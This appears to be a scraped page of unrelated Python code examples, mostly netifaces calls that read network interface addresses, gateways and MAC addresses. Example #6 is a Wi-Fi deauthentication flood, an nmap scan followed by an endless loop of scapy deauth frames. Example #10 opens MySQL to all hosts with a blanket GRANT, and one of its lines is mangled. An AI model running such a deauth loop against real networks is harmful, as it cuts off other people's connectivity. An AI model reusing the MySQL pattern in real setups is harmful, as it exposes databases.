def main(iface):
    # Get IP and mask
    ipHost = netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr']
    mask = netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['netmask']

    # Calculate the CIDR value
    maskCIDR = maskToCIDR(mask)

    tlwpa4230pIPs = []

    network = ipaddress.ip_network('{}/{}'.format(ipHost, maskCIDR), strict=False)
    print ('-- Scanning {} addresses...'.format(network.num_addresses - 2))

    for addr in network.hosts():
        # Check if the addr belongs to a TL-WPA4230P powerline adapter
        res = checkTLWPA4230P(str(addr))

        if res:
            print('{} is a TL-WPA4230P powerline adapter!'.format(str(addr)))
            tlwpa4230pIPs.append(str(addr))

    print('-- Scan completed.')

    # Open the web interface of the powerline adapters found
    for ip in tlwpa4230pIPs:
        print('Opening {} in web browser...'.format(ip))
        xdgOpenProcess = subprocess.Popen(['xdg-open', 'http://{}'.format(ip)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        xdgOpenProcess.wait()
 def get_interfaces(self):
     '''
     Retrieve the interfaces of the VM
     '''
     interfaces = netifaces.interfaces()
     self.interfaces = []
     for interface in interfaces:
         if interface == 'lo':
             continue
         default_gw = ''
         configuration_type = None
         gws = netifaces.gateways()
         if gws['default'] != {} and gws['default'][netifaces.AF_INET][1] == interface:
             default_gw = gws['default'][netifaces.AF_INET][0]
         interface_af_link_info = netifaces.ifaddresses(interface)[17]
         if 2 in netifaces.ifaddresses(interface):
             interface_af_inet_info = netifaces.ifaddresses(interface)[2]
             ipv4_address = interface_af_inet_info[0]['addr']
             netmask = interface_af_inet_info[0]['netmask']
         else:
             ipv4_address = ""
             netmask = ""
         if interface == constants.configuration_interface:
             _type = 'config'
             configuration_type = 'dhcp'
         else:
             _type = 'not_defined'
         self.interfaces.append(Interface(name = interface, status = None, 
                   mac_address = interface_af_link_info[0]['addr'],
                   ipv4_address = ipv4_address,
                   netmask = netmask,
                   default_gw = default_gw,
                   _type = _type,
                   configuration_type = configuration_type))
Example #3
0
def getLocalIP():
    if _platform == "darwin":
        interfaceName = "en0"
    else:
        interfaceName = "eth0"
    netifaces.ifaddresses(interfaceName)    
    return netifaces.ifaddresses(interfaceName)[2][0]['addr']
Example #4
0
    def update(self):
        """Update IP stats using the input method.

        Stats is dict
        """
        # Init new stats
        stats = self.get_init_value()

        if self.input_method == 'local' and not import_error_tag:
            # Update stats using the netifaces lib
            try:
                default_gw = netifaces.gateways()['default'][netifaces.AF_INET]
            except (KeyError, AttributeError) as e:
                logger.debug("Cannot grab the default gateway ({})".format(e))
            else:
                try:
                    stats['address'] = netifaces.ifaddresses(default_gw[1])[netifaces.AF_INET][0]['addr']
                    stats['mask'] = netifaces.ifaddresses(default_gw[1])[netifaces.AF_INET][0]['netmask']
                    stats['mask_cidr'] = self.ip_to_cidr(stats['mask'])
                    stats['gateway'] = netifaces.gateways()['default'][netifaces.AF_INET][0]
                    stats['public_address'] = self.public_address
                except (KeyError, AttributeError) as e:
                    logger.debug("Cannot grab IP information: {}".format(e))
        elif self.input_method == 'snmp':
            # Not implemented yet
            pass

        # Update the stats
        self.stats = stats

        return self.stats
Example #5
0
    def _update_widgets(self, widgets):
        interfaces = [ i for i in netifaces.interfaces() if not i.startswith(self._exclude) ]

        for widget in widgets:
            widget.set("visited", False)

        for intf in interfaces:
            addr = []
            state = "down"
            try:
                if netifaces.AF_INET in netifaces.ifaddresses(intf):
                    for ip in netifaces.ifaddresses(intf)[netifaces.AF_INET]:
                        if "addr" in ip and ip["addr"] != "":
                            addr.append(ip["addr"])
                            state = "up"
            except Exception as e:
                addr = []
            widget = self.widget(intf)
            if not widget:
                widget = bumblebee.output.Widget(name=intf)
                widgets.append(widget)
                widget.full_text("{}".format(",".join(addr)))
            #widget.full_text("{} {} {}".format(intf, state, ", ".join(addr)))
            widget.set("intf", intf)
            widget.set("state", state)
            widget.set("visited", True)

        for widget in widgets:
            if widget.get("visited") == False:
                widgets.remove(widget)
Example #6
0
def main():

    # bssid = get_bssid(iface)



    # needs try / catch
    iface = netifaces.gateways()['default'][netifaces.AF_INET][1]
    conf.iface = iface

    local_mac = netifaces.ifaddresses(iface)[netifaces.AF_LINK][0]['addr']
    local_ip = netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr']
    print local_mac
    print local_ip

    bssid = get_bssid(iface)

    nm = nmap.PortScanner()
    nm_scan = nm.scan(hosts = '192.168.0.0/24', arguments='-sP')
    eligible_hosts = collect_eligible_hosts(nm_scan, local_ip, '192.168.0.1')
    display_eligible_hosts(eligible_hosts)
    user_choice = ask_user()
    enable_monitor_mode(iface)

    # client_to_deauth = eligible_hosts[2].mac_address
    while (True):
        for e in eligible_hosts:
            for n in range(20):
                sendp(RadioTap()/Dot11(type=0,subtype=12,addr1=test_client,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7))
    def run(self):
        silent = positive(self.parameters['SILENT'].value)
        
        import netifaces as n
        ifs = n.interfaces()
        result = {}
        for iface in  ifs:
            afs = {}
            for ad in n.ifaddresses(iface):
                afs[n.address_families[ad]] = n.ifaddresses(iface)[ad]
            result[iface] = afs
        
        #output
        if not silent:
            for interface in result:            
                log.ok('%s:' % interface)
                for afamily in result[interface]:
                    log.ok('    %s:' %afamily)
                    for addressid in range(0, len(result[interface][afamily])):
                        log.ok('        address %d:' % addressid)
                        address = result[interface][afamily][addressid]
                        for key in address:
                            log.ok('            %s = %s' % (key, address[key]))

        #lib.kb.add('NETWORK INTERFACES', result)
        for x in result:
            lib.kb.add('NETWORK INTERFACES %s' % (x), result[x])
        # # # # # # # #
        return None
Example #8
0
 def get_interfaces(self):
     '''
     Retrieve the interfaces of the VM
     '''
     interfaces = netifaces.interfaces()
     self.interfaces = []
     for interface in interfaces:
         if interface == 'lo':
             continue
         default_gw = ''
         gws = netifaces.gateways()
         #logging.debug("GATEWAY: "+str(gws))
         #logging.debug("GATEWAY: "+str(gws['default']))
         #logging.debug("GATEWAY: "+str(gws['default'][netifaces.AF_INET]))
         if gws['default'] == {}:
             default_gw = ''
         else:
             for gw in gws[netifaces.AF_INET]:
                 if gw[1] == interface:
                     default_gw = gw[0]
         interface_af_link_info = netifaces.ifaddresses(interface)[17]
         if 2 in netifaces.ifaddresses(interface):
             interface_af_inet_info = netifaces.ifaddresses(interface)[2]
             ipv4_address = interface_af_inet_info[0]['addr']
             netmask = interface_af_inet_info[0]['netmask']
         else:
             ipv4_address = ""
             netmask = ""
         self.interfaces.append(Interface(name = interface, status = None,
                   mac_address = interface_af_link_info[0]['addr'],
                   ipv4_address = ipv4_address,
                   netmask = netmask,
                   default_gw = default_gw))
Example #9
0
    def get_info(self, interface):
        format_dict = dict(v4="", v4mask="", v4cidr="", v6="", v6mask="", v6cidr="")
        iface_up = sysfs_interface_up(interface, self.unknown_up)
        if not iface_up:
            return format_dict

        network_info = netifaces.ifaddresses(interface)
        slaves = get_bonded_slaves()
        try:
            master = slaves[interface]
        except KeyError:
            pass
        else:
            if sysfs_interface_up(interface, self.unknown_up):
                master_info = netifaces.ifaddresses(master)
                for af in (netifaces.AF_INET, netifaces.AF_INET6):
                    try:
                        network_info[af] = master_info[af]
                    except KeyError:
                        pass

        try:
            mac = network_info[netifaces.AF_PACKET][0]["addr"]
        except KeyError:
            mac = "NONE"
        format_dict['mac'] = mac

        if iface_up:
            format_dict.update(self.extract_network_info(network_info))
            format_dict.update(self.extract_wireless_info(interface))

        return format_dict
Example #10
0
def do_mysql():
	p = subprocess.Popen(['sudo','apt-get','install','mysql-server-5.5','-y'])
	p.wait()
	if p.returncode == 0:
		file_path = '/etc/mysql/my.cnf'
		shutil.copyfile(file_path,file_path + '.orig')
		replace_regex(file_path, 'bind-address', '#bind-address')
		p = subprocess.Popen(['sudo','service','mysql','restart'])
		p.wait()
		if p.returncode == 0:	
			print 'MySql service restarted'
			mysql_pwd = raw_input("Enter mysql password for root user: "******" ",""))
			with con:
				cur = con.cursor()
				#cur.execute("CREATE USER 'kodi' IDENTIFIED BY 'kodi'")
				cur.execute("GRANT ALL ON *.* TO 'kodi'")
				ni.ifaddresses('eth0')
				ip = ni.ifaddresses('eth0')[2][0]['addr']
				advancedsettings = advancedsettings_base.format(ip)
				with open('advancedsettings.xml', 'w') as fout:
					fout.write(advancedsettings)
					fout.close()
				p = subprocess.Popen(['sudo', 'mv', 'advancedsettings.xml', '/home/osmc/.kodi/userdata/' + 'advancedsettings.xml'])
				p.wait()
				if p.returncode == 0:
					return True
	return False
Example #11
0
def get_iface_config(address):
    if not address:
        return None
    try:
        import netifaces
    except ImportError:
        raise AssertionError("netifaces module is not installed")
    pool = iptoint(address)
    for iface in netifaces.interfaces():
        ifinfo = netifaces.ifaddresses(iface)
        if netifaces.AF_INET not in ifinfo:
            continue
        for inetinfo in netifaces.ifaddresses(iface)[netifaces.AF_INET]:
            addr_s = inetinfo.get('addr')
            netmask_s = inetinfo.get('netmask')
            if addr_s is None or netmask_s is None:
                continue

            addr = iptoint(addr_s)
            mask = iptoint(netmask_s)
            ip = addr & mask
            ip_client = pool & mask
            delta = ip ^ ip_client
            if not delta:
                config = { 'ifname': iface,
                           'server': inttoip(addr),
                           'net': inttoip(ip),
                           'mask': inttoip(mask) }
                return config
    return None
def GetSrcIPAddr(AF):

    if not AF:
        return None

    AddrList = []

    for interface in netifaces.interfaces():
        if netifaces.ifaddresses(interface):
            if AF in netifaces.ifaddresses(interface):
                for ipaddr in netifaces.ifaddresses(interface)[AF]:
                    CurrentIPitem = ipaddress.ip_address(ipaddr['addr'].rsplit('%',1)[0])

                    if not CurrentIPitem.is_loopback and \
                        not CurrentIPitem.is_link_local and \
                        not CurrentIPitem.is_multicast and \
                        not CurrentIPitem.is_unspecified and \
                        not CurrentIPitem.is_reserved:
                        AddrList.append(ipaddr['addr'])


    if AddrList:
        return ipaddress.ip_address(AddrList[0]) #Just Return the first Usable IP

    else:
        return None
Example #13
0
 def _detect(self):
     """uses the netifaces module to detect ifconfig information"""
     theip = None
     try:
         if self.opts['family'] == 'INET6':
             addrlist = netifaces.ifaddresses(self.opts['iface'])[netifaces.AF_INET6]
         else:
             addrlist = netifaces.ifaddresses(self.opts['iface'])[netifaces.AF_INET]
     except ValueError as exc:
         log.error("netifaces choked while trying to get network interface"
                   " information for interface '%s'", self.opts['iface'],
                   exc_info=exc)
     else:  # now we have a list of addresses as returned by netifaces
         for pair in addrlist:
             try:
                 detip = IPy.IP(pair['addr'])
             except (TypeError, ValueError) as exc:
                 log.debug("Found invalid IP '%s' on interface '%s'!?",
                           pair['addr'], self.opts['iface'], exc_info=exc)
                 continue
             if self.netmask is not None:
                 if detip in self.netmask:
                     theip = pair['addr']
                 else:
                     continue
             else:
                 theip = pair['addr']
             break  # we use the first IP found
     # theip can still be None at this point!
     self.set_current_value(theip)
     return theip
Example #14
0
def get_Eth0():
    ''' We want to ensure we only listen on internal IP
        which is protected from the outside world '''

    ni.ifaddresses('eth0')
    ip = ni.ifaddresses('eth0')[2][0]['addr']
    return(ip)
    def __init__(self):
        # ----------------- NIC INFO -----------------
        self.os = platform.dist()[0]
        # If system is "debian":
        if self.os == 'debian':
            self.hostname = socket.gethostname()
            self.iface = ni.interfaces()[1]
            self.ipaddress = ni.ifaddresses(self.iface)[ni.AF_INET][0]['addr']
            self.subnet = ni.ifaddresses(self.iface)[ni.AF_INET][0]['netmask']
            self.gateways = ni.gateways()['default'][ni.AF_INET][0]
            # --- OS INFO ---------------------

            self.os_ver = platform.dist()[1]
            self.mac = ''.join('%012x' % get_mac())
            self.ip_data = get_ip()
            self.path_ip = '/etc/network/interfaces'
            self.dns_file = '/etc/resolv.conf'
        # If system is "Arch Linux":
        else:
            self.hostname = socket.gethostname()
            self.iface = ni.interfaces()[1]
            self.ipaddress = ni.ifaddresses(self.iface)[ni.AF_INET][0]['addr']
            self.subnet = ni.ifaddresses(self.iface)[ni.AF_INET][0]['netmask']
            self.gateways = ni.gateways()['default'][ni.AF_INET][0]
            # --- OS INFO ---------------------
            self.os_ver = platform.dist()[1]
            self.mac = ''.join('%012x' % get_mac())
            self.ip_data = get_ip()
            self.path_ip = '/etc/netctl/eth0'
            self.dns_file = '/etc/resolv.conf'
        logger.debug('GET IP SETTING OK!')
Example #16
0
    def send(self, widget):
        if not self.iface:
            self.popup(gtk.MESSAGE_WARNING, 'You must select a network interface to send from!')
            return False
        if not self.protocol:
            self.popup(gtk.MESSAGE_WARNING, 'You must select a packet protocol!')
            return False
        if not self.target:
            self.popup(gtk.MESSAGE_WARNING,
                       'You must enter a {} address!'.format(self.lbl_ip.get_text()))
            return False
        if not is_ip(self.target):
            self.popup(gtk.MESSAGE_WARNING, '{} is not a valid IP address!'.format(self.target))
            return False

        src_mac = ni.ifaddresses(self.iface)[ni.AF_LINK][0]['addr']
        src_ip  = ni.ifaddresses(self.iface)[ni.AF_INET][0]['addr']
        dst_ip  = self.target

        try:
            sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
            sock.bind((self.iface, 0))
        except:
            self.popup(gtk.MESSAGE_ERROR,
                       'Could not open raw socket for transmission!\n' +
                       'Are you running this with root privileges?')
            return False

        if self.protocol == PROTO_ARP:
            try:
                sock.sendall(str(create_arp(src_mac, src_ip, dst_ip)))
            except Exception, e:
                self.popup(gtk.MESSAGE_ERROR, 'Unable to send packet: {}'.format(e.message))
                return False
            return True
def main(cfg):
    logger = logging.getLogger('Main')

    logger.info('Available interfaces: {}.'.format(', '.join(netifaces.interfaces())))
    interface_name = cfg['node']['interface']
    if interface_name is not None:
        if interface_name not in netifaces.interfaces():
            logger.warn('There is no interface {}!'.format(interface_name))
            return
        else:
            mac, broadcast_address = get_interface_mac_broadcast(netifaces.ifaddresses(interface_name))
            if mac is None:
                logger.warn('MAC not found on interface {}!'.format(interface_name))
            if broadcast_address is None:
                logger.warn('Broadcast address not found on interface {}!'.format(interface_name))
    else:
        for interface_name in netifaces.interfaces():
            if interface_name.startswith('lo'):
                continue
            mac, broadcast_address = get_interface_mac_broadcast(netifaces.ifaddresses(interface_name))
            if mac is not None and broadcast_address is not None:
                break
        if interface_name is None:
            logger.warn('There is no available appropriate interfaces!')
            return
    logger.info('Used interface: {}. MAC: {}. Broadcast address: {}.'.format(interface_name, mac, broadcast_address))

    mac = int(mac.replace(':', ''), 16)
    logger.info('Integer MAC: {}.'.format(mac))
    run_visualization_server(mac, broadcast_address, cfg)
Example #18
0
    def find_ip(iface):
        if not iface or iface == "any":
            return ("0.0.0.0", "")

        if_ip4 = netifaces.ifaddresses(iface)[netifaces.AF_INET][0]["addr"]
        if_ip6 = netifaces.ifaddresses(iface)[netifaces.AF_INET6][0]["addr"]
        return (if_ip4, if_ip6)
def get_commotion_client_ip():
    """Check interfaces for a valid commotion client IP address"""
    # Will interface impact commotion tests
    commotion_interfaces = {}
    commotion_client_ip = None
    # Raw list of interfaces
    # Could be rewritten as for __, iface in enumerate(ni.interfaces())
    interfaces = ni.interfaces()
    for iface in interfaces:
        try:
            if ni.ifaddresses(iface)[2][0]['addr'].startswith('10.'):
                print(iface + " has a valid Commotion IP address: " \
                    + ni.ifaddresses(iface)[2][0]['addr'])
                commotion_client_ip = ni.ifaddresses(iface)[2][0]['addr']
            else:
                commotion_interfaces[iface] = False
                print(iface + " not valid")
        except KeyError:
            commotion_interfaces[iface] = True
            print(iface + " has been disconnected")
            continue

    try:
        commotion_client_ip
    except (exceptions.CommotionIPError, KeyError) as args:
        print(args)

    # This should only return one thing. Move interfaces somewhere else!
    return commotion_interfaces, commotion_client_ip
Example #20
0
def get_host_ip4_addresses():
    ip_list = []
    for interface in interfaces():
        if AF_INET in ifaddresses(interface):
            for link in ifaddresses(interface)[AF_INET]:
                ip_list.append(link['addr'])
    return ip_list
Example #21
0
    def find_ip(iface):
        if not iface or iface == 'any':
            return ('0.0.0.0','')

        if_ip4 = netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr']
        if_ip6 = netifaces.ifaddresses(iface)[netifaces.AF_INET6][0]['addr']
        return (if_ip4, if_ip6)
Example #22
0
    def update(self):
        """Update IP stats using the input method.

        Stats is dict
        """
        # Reset stats
        self.reset()

        if self.input_method == 'local' and netifaces_tag:
            # Update stats using the netifaces lib
            try:
                if not 'freebsd' in sys.platform:
                    default_gw = netifaces.gateways()['default'][netifaces.AF_INET]
                else:
                    raise KeyError, 'On FreeBSD, Calling gateways would segfault'
            except KeyError:
                logger.debug("Can not grab the default gateway")
            else:
                try:
                    self.stats['address'] = netifaces.ifaddresses(default_gw[1])[netifaces.AF_INET][0]['addr']
                    self.stats['mask'] = netifaces.ifaddresses(default_gw[1])[netifaces.AF_INET][0]['netmask']
                    self.stats['mask_cidr'] = self.ip_to_cidr(self.stats['mask'])
                    if not 'freebsd' in sys.platform:
                        self.stats['gateway'] = netifaces.gateways()['default'][netifaces.AF_INET][0]
                except KeyError as e:
                    logger.debug("Can not grab IP information (%s)".format(e))

        elif self.input_method == 'snmp':
            # Not implemented yet
            pass

        # Update the view
        self.update_views()

        return self.stats
Example #23
0
def get_mac_addresses(ifname=None,ignore_nas=True,with_ip4=False):
    """By default ignore stuff like firewire"""
    try:
        import netifaces
        if ifname:
            info = netifaces.ifaddresses(ifname)
            return (( _unpack_mac(info.get(18)) or _unpack_mac(info.get(17)) ),)
        else:
            addresses = []
            for ifce in netifaces.interfaces():
                if_props = INTERFACES.get(ifce) or (False,False,False,False)
                if_addrs = netifaces.ifaddresses(ifce)
                #print ifce, if_addrs, if_props
                if ignore_nas and if_props[2]: continue
                if not if_props[1]: continue
                ip4 = if_addrs.get(2)
                ip6 = if_addrs.get(30)
                if with_ip4 and not ip4: continue
                mac = if_addrs.get(17) or if_addrs.get(18)
                if mac:
                    addresses.append(_unpack_mac(mac))
            return addresses
    except Exception, e:
        import uuid
        # bit primitive, and not stable on mac
        m = hex(uuid.getnode())[2:-1].zfill(12)
        return ( ':'.join((m[0:2],m[2:4],m[4:6],m[6:8],m[8:10],m[10:12])), )
Example #24
0
def getIface():
    for i in netifaces.interfaces():
        try: MAC = netifaces.ifaddresses(i)[netifaces.AF_LINK][0]["addr"]
        except: MAC = ""
        try: IP = netifaces.ifaddresses(i)[netifaces.AF_INET][0]["addr"]
        except: IP = ""
        print str(i)+"|"+str(IP)+"|"+str(MAC)
Example #25
0
def generate_network_list():
    data = json.load(open(NODE_DATA_FILE))
    node_pub_ip = []
    node_pri_ip = []
    hostname = socket.gethostname()
    node_pri_ip = data[hostname]['private'].split()[0]
    node_pub_ip = data[hostname]['public'].split()[0]
    cmd = 'netstat -ie | grep -B1 {} | head -n2'.format(node_pub_ip)
    public_string = commands.getoutput(cmd)
    intf_public = public_string.split()[0]
    intf_public = intf_public.split(':')[0]
    mask_public = netifaces.ifaddresses(intf_public)[2][0]['netmask']
    pub_subnet_addr = str(IPNetwork('{}/{}'.format(node_pub_ip,
                                                   mask_public)).cidr)[:-3]

    cmd = 'netstat -ie | grep -B1 {} | head -n2'.format(node_pri_ip)
    private_string = commands.getoutput(cmd)
    intf_private = private_string.split()[0]
    intf_private = intf_private.split(':')[0]
    mask_private = netifaces.ifaddresses(intf_private)[2][0]['netmask']
    pri_subnet_addr = str(IPNetwork('{}/{}'.format(node_pri_ip,
                                                   mask_private)).cidr)[:-3]
    network_string = '{}:{}:1,{}:{}:2'.format(intf_public, pub_subnet_addr,
                                              intf_private, pri_subnet_addr)
    return network_string
Example #26
0
def main():
	parser=argparse.ArgumentParser()
	parser.add_argument("interface")
	parser.add_argument("passwd")
	parser.add_argument("-v6","--ipv6",action="store_true",help="use ipv6 address")
	args=parser.parse_args()

	password=args.passwd
	local_addr=''
	broadcast_addr=''
	port=9890
	so=''
	if args.ipv6:
		local_addr=netifaces.ifaddresses(args.interface)[netifaces.AF_INET6][0]['addr']
		broadcast_addr=netifaces.ifaddresses(args.interface)[netifaces.AF_INET6][0]['broadcast']
		so=socket.socket(socket.AF_INET6,socket.SOCK_DGRAM)
		so.setsockopt(socket.SOL_SOCKET,socket.SO_BROADCAST,1)
		so.bind(('::',port))
	else:
		local_addr=netifaces.ifaddresses(args.interface)[netifaces.AF_INET][0]['addr']
		broadcast_addr=netifaces.ifaddresses(args.interface)[netifaces.AF_INET][0]['broadcast']
		so=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
		so.setsockopt(socket.SOL_SOCKET,socket.SO_BROADCAST,1)
		so.bind(('0.0.0.0',port))
	so.settimeout(5)
	message=local_addr+'|'+password
	so.sendto(message.encode('UTF-8'),(broadcast_addr,port))
	so.recv(50) #clean up the echo of the package we just sent
	try:
		print("Raspberry Pi's IP address is {0}".format(so.recv(50).decode('UTF-8')))
	except socket.timeout:
		print('No response. Maybe the password is wrong.\n')
	so.close()
 def setUp(self):
     '''
         To check and install dependencies for the test
     '''
     smm = SoftwareManager()
     pkgs = ["ethtool", "net-tools"]
     detected_distro = distro.detect()
     if detected_distro.name == "Ubuntu":
         pkgs.extend(["openssh-client", "iputils-ping"])
     elif detected_distro.name == "SuSE":
         pkgs.extend(["openssh", "iputils"])
     else:
         pkgs.extend(["openssh-clients", "iputils"])
     for pkg in pkgs:
         if not smm.check_installed(pkg) and not smm.install(pkg):
             self.cancel("%s package is need to test" % pkg)
     interfaces = netifaces.interfaces()
     interface = self.params.get("interface")
     if interface not in interfaces:
         self.cancel("%s interface is not available" % interface)
     mtu_list = self.params.get("size_val", default=1500)
     self.mtu_list = mtu_list.split()
     self.iface = interface
     self.peer = self.params.get("peer_ip")
     self.eth = "ethtool %s | grep 'Link detected:'" % self.iface
     self.eth_state = process.system_output(self.eth, shell=True)
     if AF_INET in netifaces.ifaddresses(self.iface):
         self.ip_set = netifaces.ifaddresses(self.iface)[AF_INET][0]['addr']
Example #28
0
def Get_LocalIP():
    try:
        import netifaces
        interfaces = netifaces.interfaces();
        for str in interfaces:
            print(str)
        chosen_interface = input('Please Choose The Network Interface From List Above =>')
        if chosen_interface not in interfaces:
            print('Wrong Input. Please Choose From List.')
            Get_LocalIP()
        else:
            try:
                ip = netifaces.ifaddresses(chosen_interface)[netifaces.AF_INET][0]['addr']
                if ip == None:
                    print("Wrong Interface. Please Select Another One...")
                else:
                    return netifaces.ifaddresses(chosen_interface)[netifaces.AF_INET][0]['addr']
            except KeyError:
                print("Wrong Interface. Please Select Another One...")
                Get_LocalIP()
    except:
        exc_type, exc_value, exc_traceback = sys.exc_info()
        logging.error(repr(traceback.format_exception(exc_type, exc_value,
                                                      exc_traceback)))
        raise
Example #29
0
    def update(self):
        """Update IP stats using the input method.

        Stats is dict
        """
        # Reset stats
        self.reset()

        if self.input_method == 'local' and netifaces_tag:
            # Update stats using the netifaces lib
            try:
                default_gw = netifaces.gateways()['default'][netifaces.AF_INET]
            except (KeyError, AttributeError) as e:
                logger.debug("Cannot grab the default gateway ({0})".format(e))
            else:
                try:
                    self.stats['address'] = netifaces.ifaddresses(default_gw[1])[netifaces.AF_INET][0]['addr']
                    self.stats['mask'] = netifaces.ifaddresses(default_gw[1])[netifaces.AF_INET][0]['netmask']
                    self.stats['mask_cidr'] = self.ip_to_cidr(self.stats['mask'])
                    self.stats['gateway'] = netifaces.gateways()['default'][netifaces.AF_INET][0]
                except (KeyError, AttributeError) as e:
                    logger.debug("Cannot grab IP information: {0}".format(e))
        elif self.input_method == 'snmp':
            # Not implemented yet
            pass

        # Update the view
        self.update_views()

        return self.stats
Example #30
0
def ip_addresses():
    """Find the IP addresses of the divices that look at file.

    TODO: Make code so that when any divice is looking for data
        logalyzer can find ip address and email to device, if the
        ip address is seen multiple times then anotheremail is not
        sent to device.

    Returns:
        ip_list: the list with the ip addresses
    """
    # list for ip addresses
    ip_list = []

    # Interate over available interfaces
    for interface in netifaces.interfaces():
        # Ignore interfaces with no data
        if bool(netifaces.ifaddresses(interface)) is False:
            continue

        # IPv4 addresses ALWAYS have a key of netifaces.AF_INET (2)
        # Make sure this is the case for this interface
        if netifaces.AF_INET in netifaces.ifaddresses(interface):
            # Hooray we have an IPv4 address! Add it to the list
            for interface_data in netifaces.ifaddresses(
                    interface)[netifaces.AF_INET]:
                ip_list.append(interface_data['addr'])

    # Return
    return ip_list
 def get_ip(self):
     interface = ni.gateways()['default'][ni.AF_INET][1]
     ni.ifaddresses(interface)
     ip = ni.ifaddresses(interface)[ni.AF_INET][0]['addr']
     return str(ip)
Example #32
0
    def multiInterface(self):
        """
        Creates a client socket for each network interface on a multihomed linux machine.
        Program will use each socket to send file segments across different network pathes.
        """

        self.ifaces = [
            elem for elem in self.ifaces
            if elem[0:3] == "eth" or elem[0:4] == "wlan"
        ]  # parses interface list for network adapters

        if len(
                self.ifaces
        ) == 0:  # if there are no available network adapters on host, exit program
            print(
                "No network interfaces available to send traffic. Exiting program...... "
            )
            sys.exit()
        elif len(
                self.ifaces
        ) == 1:  # if there is only one available network adapter on host, ask to continue
            print(
                "Only one adapter available to send traffic. MPTCP NOT GUARANTEED! Do you wish to continue (Y/N)?"
            )
            a = True
            while (
                    a
            ):  # continue to ask for a valid answer (Y/N) until it is given by user
                cont = str(raw_input("Answer (Y/N): "))
                if cont == 'Y':
                    a = False
                elif cont == 'N':
                    sys.exit()

        # continue program normally if neither of the above conditions are met (interfaces >= 2)

        j = 0
        for i in self.ifaces:  # create a socket for each available network adapter and connects them to recieve node

            networkFile = open('/sys/class/net/' + str(i) + '/operstate',
                               'r')  # checks if an interface is active
            ethStat = networkFile.read(2)

            if ethStat == 'up':
                try:
                    self.socketsList.append(
                        socket.socket(
                            socket.AF_INET,
                            socket.SOCK_STREAM))  # create client socket
                except socket.error, msg:
                    print("Failed to create socket. Error code: " +
                          str(msg[0]) + " , Error message: " + msg[1])
                    sys.exit()

                binder = netifaces.ifaddresses(i)[2][0][
                    'addr']  # find ip address of network adapter
                self.socketsList[j].bind(
                    (binder, 0))  # bind socket to network adapter

                try:
                    self.socketsList[j].connect(
                        (self.ipAddr,
                         self.port))  # connects each socket to recieve node
                except socket.error:
                    print("Could not connect to the destination node")
                    sys.exit()

                print("Socket %d successfully connected!" % j)

                j = j + 1

            networkFile.close()
Example #33
0
def discover_machine(args):
    if args.ip is None:
        addrs = netifaces.ifaddresses("eth0")
        args.ip = addrs[netifaces.AF_INET][0]["addr"]
    if args.machine_name is None:
        args.machine_name = socket.gethostname()
Example #34
0
def get_host_ip():
    gws = ni.gateways()
    interface = gws["default"][ni.AF_INET][1]
    return ni.ifaddresses(interface)[ni.AF_INET][0]["addr"]
Example #35
0
import subprocess
import os
from bs4 import BeautifulSoup
import netifaces
from netaddr import IPAddress


def add_spaces(total_length, covered):
    return ' ' * (total_length - len(covered))


interface = netifaces.gateways()[netifaces.AF_INET][0][1]
network_address = netifaces.ifaddresses(interface)[netifaces.AF_INET][0]['addr']
netmask = netifaces.ifaddresses(interface)[netifaces.AF_INET][0]['netmask']
network = network_address + '/' + str(IPAddress(netmask).netmask_bits())
print '[*] Scanning network...'
print '[*] interface: {}, network: {}'.format(interface, network)
proc = subprocess.Popen(['sudo', 'nmap', '-oX', '-', '-sn', '-PS21,22,25,3389', network], stdout=subprocess.PIPE, preexec_fn=os.setpgrp)

nmap_output = proc.communicate()[0]

print 'Hostname{}|IPv4{}|MAC{}|Vendor'.format(
    add_spaces(30, 'Hostname'),
    add_spaces(18, 'IPv4'),
    add_spaces(20, 'MAC')
)
print 85 * '-'

other_list = []
soup = BeautifulSoup(nmap_output, 'html.parser')
for host in soup.findAll('host'):
Example #36
0
DAT_LOC = 0x18000000  #Memory address of data location
DAT_SIZE = 0x00800000  #Size of each individual buffer
A_X_POS = 0  #Position of A_X data (DAT_LOC+A_X_POS*DAT_SIZE)
A_Y_POS = 1
A_AMP_POS = 2
A_PH_POS = 3
B_X_POS = 4
B_Y_POS = 5
B_AMP_POS = 6
B_PH_POS = 7
TOT_DAT = 8  #Total number of data outputs
NUM_BYTES = 4  #Bytes per point

# get ip address to bind to
ip = ni.ifaddresses('eth0')[2][1]['addr']
print ip

HOST = ip  #"137.205.214.123"
PORT = 1004
PORT2 = 1002

# bind to port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
#s2.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
print "Sockets Created"
s.bind((HOST, PORT))
#s2.bind((HOST, PORT2))
print "Socket Binds Complete"
Example #37
0
    def setUp(self):
        """
        Setup and install dependencies for the test.
        """
        self.test_name = "dapltest"
        self.hprm = self.params.get("HOST_PARAM", default="None")
        self.pprm = self.params.get("PEER_PARAM", default="None")
        if self.hprm == "None" and self.pprm == "None":
            self.cancel("No PARAM given")
        if process.system("ibstat", shell=True, ignore_status=True) != 0:
            self.cancel("MOFED is not installed. Skipping")
        detected_distro = distro.detect()
        pkgs = []
        smm = SoftwareManager()
        if detected_distro.name == "Ubuntu":
            pkgs.extend(["openssh-client", "iputils-ping"])
        elif detected_distro.name == "SuSE":
            pkgs.extend(["openssh", "iputils"])
        else:
            pkgs.extend(["openssh-clients", "iputils"])
        for pkg in pkgs:
            if not smm.check_installed(pkg) and not smm.install(pkg):
                self.cancel("Not able to install %s" % pkg)
        interfaces = netifaces.interfaces()
        self.dpl_int = self.params.get("dapl_interface", default="")
        self.dpl_peer = self.params.get("dapl_peer_interface", default="")
        self.hprm = self.hprm.replace('$dapl_interface', self.dpl_int)
        self.pprm = self.pprm.replace('$dapl_peer_interface', self.dpl_peer)
        self.iface = self.params.get("interface", default="")
        self.peer_ip = self.params.get("peer_ip", default="")
        self.hprm = self.hprm.replace('$peer_ip', self.peer_ip)
        self.peer_user = self.params.get("peer_user", default="root")
